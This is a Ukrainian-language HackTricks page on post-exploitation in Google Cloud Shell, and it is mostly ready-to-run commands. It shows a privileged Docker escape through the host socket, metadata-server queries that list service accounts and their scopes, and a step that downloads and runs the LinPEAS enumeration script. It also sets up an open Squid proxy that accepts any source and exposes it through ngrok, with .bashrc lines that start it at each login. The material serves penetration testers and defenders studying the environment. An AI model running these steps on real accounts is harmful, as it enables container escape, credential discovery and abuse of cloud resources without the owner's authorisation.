GCP - Cloud Shell Post Exploitation

Support HackTricks

Cloud Shell

Для отримання додаткової інформації про Cloud Shell перегляньте:

Container Escape

Зверніть увагу, що Google Cloud Shell працює всередині контейнера, ви можете легко втекти до хоста, виконавши:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Це не вважається вразливістю з боку Google, але це дає вам ширше уявлення про те, що відбувається в цьому середовищі.

Більше того, зверніть увагу, що з хоста ви можете знайти токен сервісного облікового запису:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

З наступними обсягами:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Перелічте метадані за допомогою LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Після використання https://github.com/carlospolop/bf_my_gcp_permissions з токеном облікового запису служби не було виявлено жодних дозволів...

Використовуйте його як проксі

Якщо ви хочете використовувати вашу інстанцію google cloud shell як проксі, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc):

sudo apt install -y squid

Просто щоб ви знали, Squid - це HTTP проксі-сервер. Створіть файл squid.conf з наступними налаштуваннями:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

скопіюйте файл squid.conf до /etc/squid

sudo cp squid.conf /etc/squid

Нарешті запустіть службу squid:

sudo service squid start

Використовуйте ngrok, щоб зробити проксі доступним ззовні:

./ngrok tcp 3128

Після виконання скопіюйте tcp:// url. Якщо ви хочете запустити проксі з браузера, рекомендується видалити частину tcp:// і порт, а порт помістити в поле порту налаштувань проксі вашого браузера (squid є http проксі-сервером).

Для кращого використання при запуску файл .bashrc повинен містити такі рядки:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Інструкції були скопійовані з https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Перевірте цю сторінку на інші божевільні ідеї для запуску будь-якого програмного забезпечення (бази даних і навіть Windows) у Cloud Shell.

Підтримайте HackTricks

Last updated